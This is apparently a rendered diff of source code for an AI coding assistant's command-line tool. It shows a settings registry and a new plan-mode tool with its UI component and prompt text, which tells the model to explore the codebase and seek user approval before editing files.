description: 'Enable todo/task tracking',
|
| 89 |
+
},
|
| 90 |
+
model: {
|
| 91 |
+
source: 'settings',
|
| 92 |
+
type: 'string',
|
| 93 |
+
description: 'Override the default model',
|
| 94 |
+
appStateKey: 'mainLoopModel',
|
| 95 |
+
getOptions: () => {
|
| 96 |
+
try {
|
| 97 |
+
return getModelOptions()
|
| 98 |
+
.filter(o => o.value !== null)
|
| 99 |
+
.map(o => o.value as string)
|
| 100 |
+
} catch {
|
| 101 |
+
return ['sonnet', 'opus', 'haiku']
|
| 102 |
+
}
|
| 103 |
+
},
|
| 104 |
+
validateOnWrite: v => validateModel(String(v)),
|
| 105 |
+
formatOnRead: v => (v === null ? 'default' : v),
|
| 106 |
+
},
|
| 107 |
+
alwaysThinkingEnabled: {
|
| 108 |
+
source: 'settings',
|
| 109 |
+
type: 'boolean',
|
| 110 |
+
description: 'Enable extended thinking (false to disable)',
|
| 111 |
+
appStateKey: 'thinkingEnabled',
|
| 112 |
+
},
|
| 113 |
+
'permissions.defaultMode': {
|
| 114 |
+
source: 'settings',
|
| 115 |
+
type: 'string',
|
| 116 |
+
description: 'Default permission mode for tool usage',
|
| 117 |
+
options: feature('TRANSCRIPT_CLASSIFIER')
|
| 118 |
+
? ['default', 'plan', 'acceptEdits', 'dontAsk', 'auto']
|
| 119 |
+
: ['default', 'plan', 'acceptEdits', 'dontAsk'],
|
| 120 |
+
},
|
| 121 |
+
language: {
|
| 122 |
+
source: 'settings',
|
| 123 |
+
type: 'string',
|
| 124 |
+
description:
|
| 125 |
+
'Preferred language for Claude responses and voice dictation (e.g., "japanese", "spanish")',
|
| 126 |
+
},
|
| 127 |
+
teammateMode: {
|
| 128 |
+
source: 'global',
|
| 129 |
+
type: 'string',
|
| 130 |
+
description:
|
| 131 |
+
'How to spawn teammates: "tmux" for traditional tmux, "in-process" for same process, "auto" to choose automatically',
|
| 132 |
+
options: TEAMMATE_MODES,
|
| 133 |
+
},
|
| 134 |
+
...(process.env.USER_TYPE === 'ant'
|
| 135 |
+
? {
|
| 136 |
+
classifierPermissionsEnabled: {
|
| 137 |
+
source: 'settings' as const,
|
| 138 |
+
type: 'boolean' as const,
|
| 139 |
+
description:
|
| 140 |
+
'Enable AI-based classification for Bash(prompt:...) permission rules',
|
| 141 |
+
},
|
| 142 |
+
}
|
| 143 |
+
: {}),
|
| 144 |
+
...(feature('VOICE_MODE')
|
| 145 |
+
? {
|
| 146 |
+
voiceEnabled: {
|
| 147 |
+
source: 'settings' as const,
|
| 148 |
+
type: 'boolean' as const,
|
| 149 |
+
description: 'Enable voice dictation (hold-to-talk)',
|
| 150 |
+
},
|
| 151 |
+
}
|
| 152 |
+
: {}),
|
| 153 |
+
...(feature('BRIDGE_MODE')
|
| 154 |
+
? {
|
| 155 |
+
remoteControlAtStartup: {
|
| 156 |
+
source: 'global' as const,
|
| 157 |
+
type: 'boolean' as const,
|
| 158 |
+
description:
|
| 159 |
+
'Enable Remote Control for all sessions (true | false | default)',
|
| 160 |
+
formatOnRead: () => getRemoteControlAtStartup(),
|
| 161 |
+
},
|
| 162 |
+
}
|
| 163 |
+
: {}),
|
| 164 |
+
...(feature('KAIROS') || feature('KAIROS_PUSH_NOTIFICATION')
|
| 165 |
+
? {
|
| 166 |
+
taskCompleteNotifEnabled: {
|
| 167 |
+
source: 'global' as const,
|
| 168 |
+
type: 'boolean' as const,
|
| 169 |
+
description:
|
| 170 |
+
'Push to your mobile device when idle after Claude finishes (requires Remote Control)',
|
| 171 |
+
},
|
| 172 |
+
inputNeededNotifEnabled: {
|
| 173 |
+
source: 'global' as const,
|
| 174 |
+
type: 'boolean' as const,
|
| 175 |
+
description:
|
| 176 |
+
'Push to your mobile device when a permission prompt or question is waiting (requires Remote Control)',
|
| 177 |
+
},
|
| 178 |
+
agentPushNotifEnabled: {
|
| 179 |
+
source: 'global' as const,
|
| 180 |
+
type: 'boolean' as const,
|
| 181 |
+
description:
|
| 182 |
+
'Allow Claude to push to your mobile device when it deems it appropriate (requires Remote Control)',
|
| 183 |
+
},
|
| 184 |
+
}
|
| 185 |
+
: {}),
|
| 186 |
+
}
|
| 187 |
+
|
| 188 |
+
export function isSupported(key: string): boolean {
|
| 189 |
+
return key in SUPPORTED_SETTINGS
|
| 190 |
+
}
|
| 191 |
+
|
| 192 |
+
export function getConfig(key: string): SettingConfig | undefined {
|
| 193 |
+
return SUPPORTED_SETTINGS[key]
|
| 194 |
+
}
|
| 195 |
+
|
| 196 |
+
export function getAllKeys(): string[] {
|
| 197 |
+
return Object.keys(SUPPORTED_SETTINGS)
|
| 198 |
+
}
|
| 199 |
+
|
| 200 |
+
export function getOptionsForSetting(key: string): string[] | undefined {
|
| 201 |
+
const config = SUPPORTED_SETTINGS[key]
|
| 202 |
+
if (!config) return undefined
|
| 203 |
+
if (config.options) return [...config.options]
|
| 204 |
+
if (config.getOptions) return config.getOptions()
|
| 205 |
+
return undefined
|
| 206 |
+
}
|
| 207 |
+
|
| 208 |
+
export function getPath(key: string): string[] {
|
| 209 |
+
const config = SUPPORTED_SETTINGS[key]
|
| 210 |
+
return config?.path ?? key.split('.')
|
| 211 |
+
}
|
src/tools/EnterPlanModeTool/EnterPlanModeTool.ts
ADDED
|
@@ -0,0 +1,126 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { feature } from 'bun:bundle'
|
| 2 |
+
import { z } from 'zod/v4'
|
| 3 |
+
import {
|
| 4 |
+
getAllowedChannels,
|
| 5 |
+
handlePlanModeTransition,
|
| 6 |
+
} from '../../bootstrap/state.js'
|
| 7 |
+
import type { Tool } from '../../Tool.js'
|
| 8 |
+
import { buildTool, type ToolDef } from '../../Tool.js'
|
| 9 |
+
import { lazySchema } from '../../utils/lazySchema.js'
|
| 10 |
+
import { applyPermissionUpdate } from '../../utils/permissions/PermissionUpdate.js'
|
| 11 |
+
import { prepareContextForPlanMode } from '../../utils/permissions/permissionSetup.js'
|
| 12 |
+
import { isPlanModeInterviewPhaseEnabled } from '../../utils/planModeV2.js'
|
| 13 |
+
import { ENTER_PLAN_MODE_TOOL_NAME } from './constants.js'
|
| 14 |
+
import { getEnterPlanModeToolPrompt } from './prompt.js'
|
| 15 |
+
import {
|
| 16 |
+
renderToolResultMessage,
|
| 17 |
+
renderToolUseMessage,
|
| 18 |
+
renderToolUseRejectedMessage,
|
| 19 |
+
} from './UI.js'
|
| 20 |
+
|
| 21 |
+
const inputSchema = lazySchema(() =>
|
| 22 |
+
z.strictObject({
|
| 23 |
+
// No parameters needed
|
| 24 |
+
}),
|
| 25 |
+
)
|
| 26 |
+
type InputSchema = ReturnType<typeof inputSchema>
|
| 27 |
+
|
| 28 |
+
const outputSchema = lazySchema(() =>
|
| 29 |
+
z.object({
|
| 30 |
+
message: z.string().describe('Confirmation that plan mode was entered'),
|
| 31 |
+
}),
|
| 32 |
+
)
|
| 33 |
+
type OutputSchema = ReturnType<typeof outputSchema>
|
| 34 |
+
export type Output = z.infer<OutputSchema>
|
| 35 |
+
|
| 36 |
+
export const EnterPlanModeTool: Tool<InputSchema, Output> = buildTool({
|
| 37 |
+
name: ENTER_PLAN_MODE_TOOL_NAME,
|
| 38 |
+
searchHint: 'switch to plan mode to design an approach before coding',
|
| 39 |
+
maxResultSizeChars: 100_000,
|
| 40 |
+
async description() {
|
| 41 |
+
return 'Requests permission to enter plan mode for complex tasks requiring exploration and design'
|
| 42 |
+
},
|
| 43 |
+
async prompt() {
|
| 44 |
+
return getEnterPlanModeToolPrompt()
|
| 45 |
+
},
|
| 46 |
+
get inputSchema(): InputSchema {
|
| 47 |
+
return inputSchema()
|
| 48 |
+
},
|
| 49 |
+
get outputSchema(): OutputSchema {
|
| 50 |
+
return outputSchema()
|
| 51 |
+
},
|
| 52 |
+
userFacingName() {
|
| 53 |
+
return ''
|
| 54 |
+
},
|
| 55 |
+
shouldDefer: true,
|
| 56 |
+
isEnabled() {
|
| 57 |
+
// When --channels is active, ExitPlanMode is disabled (its approval
|
| 58 |
+
// dialog needs the terminal). Disable entry too so plan mode isn't a
|
| 59 |
+
// trap the model can enter but never leave.
|
| 60 |
+
if (
|
| 61 |
+
(feature('KAIROS') || feature('KAIROS_CHANNELS')) &&
|
| 62 |
+
getAllowedChannels().length > 0
|
| 63 |
+
) {
|
| 64 |
+
return false
|
| 65 |
+
}
|
| 66 |
+
return true
|
| 67 |
+
},
|
| 68 |
+
isConcurrencySafe() {
|
| 69 |
+
return true
|
| 70 |
+
},
|
| 71 |
+
isReadOnly() {
|
| 72 |
+
return true
|
| 73 |
+
},
|
| 74 |
+
renderToolUseMessage,
|
| 75 |
+
renderToolResultMessage,
|
| 76 |
+
renderToolUseRejectedMessage,
|
| 77 |
+
async call(_input, context) {
|
| 78 |
+
if (context.agentId) {
|
| 79 |
+
throw new Error('EnterPlanMode tool cannot be used in agent contexts')
|
| 80 |
+
}
|
| 81 |
+
|
| 82 |
+
const appState = context.getAppState()
|
| 83 |
+
handlePlanModeTransition(appState.toolPermissionContext.mode, 'plan')
|
| 84 |
+
|
| 85 |
+
// Update the permission mode to 'plan'. prepareContextForPlanMode runs
|
| 86 |
+
// the classifier activation side effects when the user's defaultMode is
|
| 87 |
+
// 'auto' — see permissionSetup.ts for the full lifecycle.
|
| 88 |
+
context.setAppState(prev => ({
|
| 89 |
+
...prev,
|
| 90 |
+
toolPermissionContext: applyPermissionUpdate(
|
| 91 |
+
prepareContextForPlanMode(prev.toolPermissionContext),
|
| 92 |
+
{ type: 'setMode', mode: 'plan', destination: 'session' },
|
| 93 |
+
),
|
| 94 |
+
}))
|
| 95 |
+
|
| 96 |
+
return {
|
| 97 |
+
data: {
|
| 98 |
+
message:
|
| 99 |
+
'Entered plan mode. You should now focus on exploring the codebase and designing an implementation approach.',
|
| 100 |
+
},
|
| 101 |
+
}
|
| 102 |
+
},
|
| 103 |
+
mapToolResultToToolResultBlockParam({ message }, toolUseID) {
|
| 104 |
+
const instructions = isPlanModeInterviewPhaseEnabled()
|
| 105 |
+
? `${message}
|
| 106 |
+
|
| 107 |
+
DO NOT write or edit any files except the plan file. Detailed workflow instructions will follow.`
|
| 108 |
+
: `${message}
|
| 109 |
+
|
| 110 |
+
In plan mode, you should:
|
| 111 |
+
1. Thoroughly explore the codebase to understand existing patterns
|
| 112 |
+
2. Identify similar features and architectural approaches
|
| 113 |
+
3. Consider multiple approaches and their trade-offs
|
| 114 |
+
4. Use AskUserQuestion if you need to clarify the approach
|
| 115 |
+
5. Design a concrete implementation strategy
|
| 116 |
+
6. When ready, use ExitPlanMode to present your plan for approval
|
| 117 |
+
|
| 118 |
+
Remember: DO NOT write or edit any files yet. This is a read-only exploration and planning phase.`
|
| 119 |
+
|
| 120 |
+
return {
|
| 121 |
+
type: 'tool_result',
|
| 122 |
+
content: instructions,
|
| 123 |
+
tool_use_id: toolUseID,
|
| 124 |
+
}
|
| 125 |
+
},
|
| 126 |
+
} satisfies ToolDef<InputSchema, Output>)
|
src/tools/EnterPlanModeTool/UI.tsx
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import * as React from 'react';
|
| 2 |
+
import { BLACK_CIRCLE } from 'src/constants/figures.js';
|
| 3 |
+
import { getModeColor } from 'src/utils/permissions/PermissionMode.js';
|
| 4 |
+
import { Box, Text } from '../../ink.js';
|
| 5 |
+
import type { ToolProgressData } from '../../Tool.js';
|
| 6 |
+
import type { ProgressMessage } from '../../types/message.js';
|
| 7 |
+
import type { ThemeName } from '../../utils/theme.js';
|
| 8 |
+
import type { Output } from './EnterPlanModeTool.js';
|
| 9 |
+
export function renderToolUseMessage(): React.ReactNode {
|
| 10 |
+
return null;
|
| 11 |
+
}
|
| 12 |
+
export function renderToolResultMessage(_output: Output, _progressMessagesForMessage: ProgressMessage<ToolProgressData>[], _options: {
|
| 13 |
+
theme: ThemeName;
|
| 14 |
+
}): React.ReactNode {
|
| 15 |
+
return <Box flexDirection="column" marginTop={1}>
|
| 16 |
+
<Box flexDirection="row">
|
| 17 |
+
<Text color={getModeColor('plan')}>{BLACK_CIRCLE}</Text>
|
| 18 |
+
<Text> Entered plan mode</Text>
|
| 19 |
+
</Box>
|
| 20 |
+
<Box paddingLeft={2}>
|
| 21 |
+
<Text dimColor>
|
| 22 |
+
Claude is now exploring and designing an implementation approach.
|
| 23 |
+
</Text>
|
| 24 |
+
</Box>
|
| 25 |
+
</Box>;
|
| 26 |
+
}
|
| 27 |
+
export function renderToolUseRejectedMessage(): React.ReactNode {
|
| 28 |
+
return <Box flexDirection="row" marginTop={1}>
|
| 29 |
+
<Text color={getModeColor('default')}>{BLACK_CIRCLE}</Text>
|
| 30 |
+
<Text> User declined to enter plan mode</Text>
|
| 31 |
+
</Box>;
|
| 32 |
+
}
|
| 33 |
+
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJMQUNLX0NJUkNMRSIsImdldE1vZGVDb2xvciIsIkJveCIsIlRleHQiLCJUb29sUHJvZ3Jlc3NEYXRhIiwiUHJvZ3Jlc3NNZXNzYWdlIiwiVGhlbWVOYW1lIiwiT3V0cHV0IiwicmVuZGVyVG9vbFVzZU1lc3NhZ2UiLCJSZWFjdE5vZGUiLCJyZW5kZXJUb29sUmVzdWx0TWVzc2FnZSIsIl9vdXRwdXQiLCJfcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2UiLCJfb3B0aW9ucyIsInRoZW1lIiwicmVuZGVyVG9vbFVzZVJlamVjdGVkTWVzc2FnZSJdLCJzb3VyY2VzIjpbIlVJLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IEJMQUNLX0NJUkNMRSB9IGZyb20gJ3NyYy9jb25zdGFudHMvZmlndXJlcy5qcydcbmltcG9ydCB7IGdldE1vZGVDb2xvciB9IGZyb20gJ3NyYy91dGlscy9wZXJtaXNzaW9ucy9QZXJtaXNzaW9uTW9kZS5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgVG9vbFByb2dyZXNzRGF0YSB9IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IFByb2dyZXNzTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IFRoZW1lTmFtZSB9IGZyb20gJy4uLy4uL3V0aWxzL3RoZW1lLmpzJ1xuaW1wb3J0IHR5cGUgeyBPdXRwdXQgfSBmcm9tICcuL0VudGVyUGxhbk1vZGVUb29sLmpzJ1xuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZU1lc3NhZ2UoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuIG51bGxcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHJlbmRlclRvb2xSZXN1bHRNZXNzYWdlKFxuICBfb3V0cHV0OiBPdXRwdXQsXG4gIF9wcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZTogUHJvZ3Jlc3NNZXNzYWdlPFRvb2xQcm9ncmVzc0RhdGE+W10sXG4gIF9vcHRpb25zOiB7IHRoZW1lOiBUaGVtZU5hbWUgfSxcbik6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cInJvd1wiPlxuICAgICAgICA8VGV4dCBjb2xvcj17Z2V0TW9kZUNvbG9yKCdwbGFuJyl9PntCTEFDS19DSVJDTEV9PC9UZXh0PlxuICAgICAgICA8VGV4dD4gRW50ZXJlZCBwbGFuIG1vZGU8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICAgIDxCb3ggcGFkZGluZ0xlZnQ9ezJ9PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICBDbGF1ZGUgaXMgbm93IGV4cGxvcmluZyBhbmQgZGVzaWduaW5nIGFuIGltcGxlbWVudGF0aW9uIGFwcHJvYWNoLlxuICAgICAgICA8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICA8L0JveD5cbiAgKVxufVxuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZVJlamVjdGVkTWVzc2FnZSgpOiBSZWFjdC5SZWFjdE5vZGUge1xuICByZXR1cm4gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cInJvd1wiIG1hcmdpblRvcD17MX0+XG4gICAgICA8VGV4dCBjb2xvcj17Z2V0TW9kZUNvbG9yKCdkZWZhdWx0Jyl9PntCTEFDS19DSVJDTEV9PC9UZXh0PlxuICAgICAgPFRleHQ+IFVzZXIgZGVjbGluZWQgdG8gZW50ZXIgcGxhbiBtb2RlPC9UZXh0PlxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiJBQUFBLE9BQU8sS0FBS0EsS0FBSyxNQUFNLE9BQU87QUFDOUIsU0FBU0MsWUFBWSxRQUFRLDBCQUEwQjtBQUN2RCxTQUFTQyxZQUFZLFFBQVEseUNBQXlDO0FBQ3RFLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsY0FBY0MsZ0JBQWdCLFFBQVEsZUFBZTtBQUNyRCxjQUFjQyxlQUFlLFFBQVEsd0JBQXdCO0FBQzdELGNBQWNDLFNBQVMsUUFBUSxzQkFBc0I7QUFDckQsY0FBY0MsTUFBTSxRQUFRLHdCQUF3QjtBQUVwRCxPQUFPLFNBQVNDLG9CQUFvQkEsQ0FBQSxDQUFFLEVBQUVULEtBQUssQ0FBQ1UsU0FBUyxDQUFDO0VBQ3RELE9BQU8sSUFBSTtBQUNiO0FBRUEsT0FBTyxTQUFTQyx1QkFBdUJBLENBQ3JDQyxPQUFPLEVBQUVKLE1BQU0sRUFDZkssMkJBQTJCLEVBQUVQLGVBQWUsQ0FBQ0QsZ0JBQWdCLENBQUMsRUFBRSxFQUNoRVMsUUFBUSxFQUFFO0VBQUVDLEtBQUssRUFBRVIsU0FBUztBQUFDLENBQUMsQ0FDL0IsRUFBRVAsS0FBSyxDQUFDVSxTQUFTLENBQUM7RUFDakIsT0FDRSxDQUFDLEdBQUcsQ0FBQyxhQUFhLENBQUMsUUFBUSxDQUFDLFNBQVMsQ0FBQyxDQUFDLENBQUMsQ0FBQztBQUM3QyxNQUFNLENBQUMsR0FBRyxDQUFDLGFBQWEsQ0FBQyxLQUFLO0FBQzlCLFFBQVEsQ0FBQyxJQUFJLENBQUMsS0FBSyxDQUFDLENBQUNSLFlBQVksQ0FBQyxNQUFNLENBQUMsQ0FBQyxDQUFDLENBQUNELFlBQVksQ0FBQyxFQUFFLElBQUk7QUFDL0QsUUFBUSxDQUFDLElBQUksQ0FBQyxrQkFBa0IsRUFBRSxJQUFJO0FBQ3RDLE1BQU0sRUFBRSxHQUFHO0FBQ1gsTUFBTSxDQUFDLEdBQUcsQ0FBQyxXQUFXLENBQUMsQ0FBQyxDQUFDLENBQUM7QUFDMUIsUUFBUSxDQUFDLElBQUksQ0FBQyxRQUFRO0FBQ3RCO0FBQ0EsUUFBUSxFQUFFLElBQUk7QUFDZCxNQUFNLEVBQUUsR0FBRztBQUNYLElBQUksRUFBRSxHQUFHLENBQUM7QUFFVjtBQUVBLE9BQU8sU0FBU2UsNEJBQTRCQSxDQUFBLENBQUUsRUFBRWhCLEtBQUssQ0FBQ1UsU0FBUyxDQUFDO0VBQzlELE9BQ0UsQ0FBQyxHQUFHLENBQUMsYUFBYSxDQUFDLEtBQUssQ0FBQyxTQUFTLENBQUMsQ0FBQyxDQUFDLENBQUM7QUFDMUMsTUFBTSxDQUFDLElBQUksQ0FBQyxLQUFLLENBQUMsQ0FBQ1IsWUFBWSxDQUFDLFNBQVMsQ0FBQyxDQUFDLENBQUMsQ0FBQ0QsWUFBWSxDQUFDLEVBQUUsSUFBSTtBQUNoRSxNQUFNLENBQUMsSUFBSSxDQUFDLGlDQUFpQyxFQUFFLElBQUk7QUFDbkQsSUFBSSxFQUFFLEdBQUcsQ0FBQztBQUVWIiwiaWdub3JlTGlzdCI6W119
|
src/tools/EnterPlanModeTool/constants.ts
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
export const ENTER_PLAN_MODE_TOOL_NAME = 'EnterPlanMode'
|
src/tools/EnterPlanModeTool/prompt.ts
ADDED
|
@@ -0,0 +1,170 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { isPlanModeInterviewPhaseEnabled } from '../../utils/planModeV2.js'
|
| 2 |
+
import { ASK_USER_QUESTION_TOOL_NAME } from '../AskUserQuestionTool/prompt.js'
|
| 3 |
+
|
| 4 |
+
const WHAT_HAPPENS_SECTION = `## What Happens in Plan Mode
|
| 5 |
+
|
| 6 |
+
In plan mode, you'll:
|
| 7 |
+
1. Thoroughly explore the codebase using Glob, Grep, and Read tools
|
| 8 |
+
2. Understand existing patterns and architecture
|
| 9 |
+
3. Design an implementation approach
|
| 10 |
+
4. Present your plan to the user for approval
|
| 11 |
+
5. Use ${ASK_USER_QUESTION_TOOL_NAME} if you need to clarify approaches
|
| 12 |
+
6. Exit plan mode with ExitPlanMode when ready to implement
|
| 13 |
+
|
| 14 |
+
`
|
| 15 |
+
|
| 16 |
+
function getEnterPlanModeToolPromptExternal(): string {
|
| 17 |
+
// When interview phase is enabled, omit the "What Happens" section —
|
| 18 |
+
// detailed workflow instructions arrive via the plan_mode attachment (messages.ts).
|
| 19 |
+
const whatHappens = isPlanModeInterviewPhaseEnabled()
|
| 20 |
+
? ''
|
| 21 |
+
: WHAT_HAPPENS_SECTION
|
| 22 |
+
|
| 23 |
+
return `Use this tool proactively when you're about to start a non-trivial implementation task. Getting user sign-off on your approach before writing code prevents wasted effort and ensures alignment. This tool transitions you into plan mode where you can explore the codebase and design an implementation approach for user approval.
|
| 24 |
+
|
| 25 |
+
## When to Use This Tool
|
| 26 |
+
|
| 27 |
+
**Prefer using EnterPlanMode** for implementation tasks unless they're simple. Use it when ANY of these conditions apply:
|
| 28 |
+
|
| 29 |
+
1. **New Feature Implementation**: Adding meaningful new functionality
|
| 30 |
+
- Example: "Add a logout button" - where should it go? What should happen on click?
|
| 31 |
+
- Example: "Add form validation" - what rules? What error messages?
|
| 32 |
+
|
| 33 |
+
2. **Multiple Valid Approaches**: The task can be solved in several different ways
|
| 34 |
+
- Example: "Add caching to the API" - could use Redis, in-memory, file-based, etc.
|
| 35 |
+
- Example: "Improve performance" - many optimization strategies possible
|
| 36 |
+
|
| 37 |
+
3. **Code Modifications**: Changes that affect existing behavior or structure
|
| 38 |
+
- Example: "Update the login flow" - what exactly should change?
|
| 39 |
+
- Example: "Refactor this component" - what's the target architecture?
|
| 40 |
+
|
| 41 |
+
4. **Architectural Decisions**: The task requires choosing between patterns or technologies
|
| 42 |
+
- Example: "Add real-time updates" - WebSockets vs SSE vs polling
|
| 43 |
+
- Example: "Implement state management" - Redux vs Context vs custom solution
|
| 44 |
+
|
| 45 |
+
5. **Multi-File Changes**: The task will likely touch more than 2-3 files
|
| 46 |
+
- Example: "Refactor the authentication system"
|
| 47 |
+
- Example: "Add a new API endpoint with tests"
|
| 48 |
+
|
| 49 |
+
6. **Unclear Requirements**: You need to explore before understanding the full scope
|
| 50 |
+
- Example: "Make the app faster" - need to profile and identify bottlenecks
|
| 51 |
+
- Example: "Fix the bug in checkout" - need to investigate root cause
|
| 52 |
+
|
| 53 |
+
7. **User Preferences Matter**: The implementation could reasonably go multiple ways
|
| 54 |
+
- If you would use ${ASK_USER_QUESTION_TOOL_NAME} to clarify the approach, use EnterPlanMode instead
|
| 55 |
+
- Plan mode lets you explore first, then present options with context
|
| 56 |
+
|
| 57 |
+
## When NOT to Use This Tool
|
| 58 |
+
|
| 59 |
+
Only skip EnterPlanMode for simple tasks:
|
| 60 |
+
- Single-line or few-line fixes (typos, obvious bugs, small tweaks)
|
| 61 |
+
- Adding a single function with clear requirements
|
| 62 |
+
- Tasks where the user has given very specific, detailed instructions
|
| 63 |
+
- Pure research/exploration tasks (use the Agent tool with explore agent instead)
|
| 64 |
+
|
| 65 |
+
${whatHappens}## Examples
|
| 66 |
+
|
| 67 |
+
### GOOD - Use EnterPlanMode:
|
| 68 |
+
User: "Add user authentication to the app"
|
| 69 |
+
- Requires architectural decisions (session vs JWT, where to store tokens, middleware structure)
|
| 70 |
+
|
| 71 |
+
User: "Optimize the database queries"
|
| 72 |
+
- Multiple approaches possible, need to profile first, significant impact
|
| 73 |
+
|
| 74 |
+
User: "Implement dark mode"
|
| 75 |
+
- Architectural decision on theme system, affects many components
|
| 76 |
+
|
| 77 |
+
User: "Add a delete button to the user profile"
|
| 78 |
+
- Seems simple but involves: where to place it, confirmation dialog, API call, error handling, state updates
|
| 79 |
+
|
| 80 |
+
User: "Update the error handling in the API"
|
| 81 |
+
- Affects multiple files, user should approve the approach
|
| 82 |
+
|
| 83 |
+
### BAD - Don't use EnterPlanMode:
|
| 84 |
+
User: "Fix the typo in the README"
|
| 85 |
+
- Straightforward, no planning needed
|
| 86 |
+
|
| 87 |
+
User: "Add a console.log to debug this function"
|
| 88 |
+
- Simple, obvious implementation
|
| 89 |
+
|
| 90 |
+
User: "What files handle routing?"
|
| 91 |
+
- Research task, not implementation planning
|
| 92 |
+
|
| 93 |
+
## Important Notes
|
| 94 |
+
|
| 95 |
+
- This tool REQUIRES user approval - they must consent to entering plan mode
|
| 96 |
+
- If unsure whether to use it, err on the side of planning - it's better to get alignment upfront than to redo work
|
